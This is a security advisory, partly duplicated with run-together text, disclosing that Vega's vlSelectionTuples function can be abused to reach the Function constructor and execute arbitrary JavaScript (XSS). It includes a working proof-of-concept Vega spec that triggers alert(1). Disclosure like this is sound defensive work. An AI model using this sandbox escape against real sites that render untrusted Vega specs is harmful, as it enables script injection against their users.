Summary
The vlSelectionTuples
function can be used to call JavaScript functions, leading to XSS.
Details
vlSelectionTuples
calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.
Example call: vlSelectionTuples([{datum:<argument>}], {fields:[{getter:<function>}]})
This can be used to call Function()
with arbitrary JavaScript and the resulting function can be called with vlSelectionTuples
or using a type coercion to call toString
or valueOf
.
PoC
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","init":"+{valueOf:vlSelectionTuples([{datum:'alert(1)'}],{fields:[{getter:[].at.constructor}]})[0].values[0]}"}]}
References
Summary
The
vlSelectionTuples
function can be used to call JavaScript functions, leading to XSS.Details
vlSelectionTuples
calls multiple functions that can be controlled by an attacker, including one call with an attacker-controlled argument.Example call:
vlSelectionTuples([{datum:<argument>}], {fields:[{getter:<function>}]})
This can be used to call
Function()
with arbitrary JavaScript and the resulting function can be called withvlSelectionTuples
or using a type coercion to calltoString
orvalueOf
.PoC
References